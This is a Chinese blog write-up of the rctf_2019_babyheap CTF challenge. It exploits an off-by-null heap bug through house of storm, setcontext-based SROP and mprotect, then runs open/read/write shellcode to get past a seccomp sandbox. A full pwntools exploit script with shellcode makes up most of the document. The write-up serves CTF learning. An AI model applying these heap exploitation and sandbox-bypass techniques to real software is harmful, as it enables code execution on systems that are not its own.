BUUCTF-PWN rctf_2019_babyheap（house of storm，堆SROP）

原创

L.o.W 于 2020-06-05 13:04:24 发布 930 收藏 5

分类专栏： BUU-PWN CTF知识学习 文章标签： PWN 沙箱 orw

本文链接：https://blog.csdn.net/weixin_44145820/article/details/105709145

目录

题目分析

```
root@kali:~/ctf/pwn2# checksec rctf_2019_babyheap
[*] '/root/ctf/pwn2/rctf_2019_babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

程序还有沙箱保护，把execve禁用了，只能orw了

```
root@kali:~/ctf/pwn2# seccomp-tools dump ./rctf_2019_babyheap
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
```

```
0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000  return KILL
0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000  return KILL
0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000  return KILL
0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000  return KILL
0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000  return KILL
0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000  return KILL
0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000  return KILL
0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
```


在init中还把fastbin关了

```
read(fd, &ptrs, 8uLL);
close(fd);
ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
mallopt(1, 0);
if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )
{
  puts("mmap error!");
  exit(-1);
}
signal(14, timeout_handler);
alarm(0x3Cu);
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
  puts("Could not start seccomp:");
  exit(-1);
}
```


在edit中有一个off-by-null溢出，以前这种情况都是用unlink进行攻击，不过这题我们没有地址所以无法使用

```
1  unsigned __int64 edit()
2  {
3    int v0; // ST00_4
4    int v1; // ST04_4
5    __int64 v3; // [rsp+0h] [rbp-10h]
6    unsigned __int64 v4; // [rsp+8h] [rbp-8h]
7
8    v4 = __readfsqword(0x28u);
9    printf("Index: ");
10   LODWORD(v3) = get_int();
11   if ( (signed int)v3 >= 0 && (signed int)v3 <= 15 && *((_QWORD *)ptrs + 2 * (signed int)v3) )
12   {
13     printf("Content: ", v3);
14     v1 = read_n(*((void **)ptrs + 2 * v0), *((_DWORD *)ptrs + 4 * v0 + 2));
15     *(_BYTE *)(*((_QWORD *)ptrs + 2 * v0) + v1) = 0;
16     puts("Edit success :)");
17   }
18   else
```


漏洞利用

这题一开始先利用house of storm漏洞分配到`__free_hook`附近的内存
关于house of storm的利用方法请见这篇文章：
BUUCT-PWN 0ctf_2018_heapstorm2（house of storm）

因为本题禁用了execve，所以我们就不考虑写入system的地址了，本题采用的是mprotect+shellcode注入的做法，思路来源是星盟的WP（RCTF2019 pwn writeup 集合）

首先，我们把setcontent+53的地址写入`__free_hook`，并在其之后0x10字节内存中写上两遍`__free_hook`+0x18的地址，最后把如下shellcode1写入：

```
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
```

setcontext的主要代码如下：

```
<setcontext>: push   rdi
<setcontext+1>: lea    rsi,[rdi+0x128]
<setcontext+8>: xor    edx,edx
<setcontext+10>: mov    edi,0x2
<setcontext+15>: mov    r10d,0x8
<setcontext+21>: mov    eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop    rdi
<setcontext+29>: cmp    rax,0xfffffffffffff001
<setcontext+35>: jae    0x7ffff7a54bc0 <setcontext+128>
<setcontext+37>: mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push   rcx
<setcontext+95>: mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor    eax,eax
<setcontext+127>: ret
<setcontext+128>:   mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78
<setcontext+135>:   neg    eax
<setcontext+137>:   mov    DWORD PTR fs:[rcx],eax
<setcontext+140>:   or     rax,0xffffffffffffffff
<setcontext+144>:   ret
```

这个利用方式有点类似SROP，setcontext函数负责对各个寄存器进行赋值，甚至可以控制rip，对寄存器进行赋值主要从+53开始，而我们利用pwntools的SigreturnFrame可以更方便地进行赋值，只要把该SigreturnFrame写入一个chunk中，free它就能达到目的
我们这里考虑使用mprotect先赋予一段内存写的权限

```
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
```

当mprotect执行完时，rsp指向`__free_hook`+0x10，其中的值为`__free_hook`+0x18，这样我们就执行了第一段shellcode，这段shellcode的目的是往指定内存中读入shellcode并跳过去执行
我们第二段shellcode如下：

```
mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp  ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
```

这段shellcode使用orw的方法读取flag

Exp

```
from pwn import *

#r = remote("node3.buuoj.cn", 27089)
#r = process("./rctf_2019_babyheap")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
 gdb.attach(r,
 '''
 b *$rebase(0xC2B)
 x/10gx $rebase(0x202110)
 c
 ''')
```

```
)

elf = ELF("./rctf_2019_babyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "Choice: \n"
def add(size):
 r.recvuntil(menu)
 r.sendline('1')
 r.recvuntil("Size: ")
 r.sendline(str(size))

def delete(index):
 r.recvuntil(menu)
 r.sendline('3')
 r.recvuntil("Index: ")
 r.sendline(str(index))

def show(index):
 r.recvuntil(menu)
 r.sendline('4')
 r.recvuntil("Index: ")
 r.sendline(str(index))

def edit(index, content):
 r.recvuntil(menu)
 r.sendline('2')
 r.recvuntil("Index: ")
 r.sendline(str(index))
 r.recvuntil("Content: ")
 r.send(content)

def pwn():
 libc.address = 0
 add(0x80)#0
 add(0x68)#1
 add(0xf0)#2
 add(0x18)#3
 delete(0)
 payload = 'a'*0x60 + p64(0x100)
 edit(1, payload)
 delete(2)
 add(0x80)#0
 show(1)
 malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
 libc.address = malloc_hook - libc.sym['__malloc_hook']
 system = libc.sym['system']
 free_hook = libc.sym['__free_hook']
 set_context = libc.symbols['setcontext']
 success("libc_base:"+hex(libc.address))
 add(0x160)#2

 add(0x18)#4
 add(0x508)#5
 add(0x18)#6
 add(0x18)#7
 add(0x508)#8
 add(0x18)#9
 add(0x18)#10
```

```
edit(5, 'a'*0x4f0+p64(0x500))
delete(5)
edit(4, 'a'*0x18)
add(0x18)#5
add(0x4d8)#11
delete(5)
delete(6)
add(0x30)#5
add(0x4e8)#6

edit(8, 'a'*0x4f0+p64(0x500))
delete(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
delete(8)
delete(9)
add(0x40)#8
delete(6)
add(0x4e8)#6
delete(6)
#pause()

storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)
payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)
add(0x48)#6
sleep(0.5)

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
delete(12)
sleep(0.5)

shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
```

```
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp  ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))

r.interactive()

if __name__ == "__main__":
 #pwn()

 while True:
  r = remote("node3.buuoj.cn", 25576)
  try:
   pwn()
  except:
   r.close()
```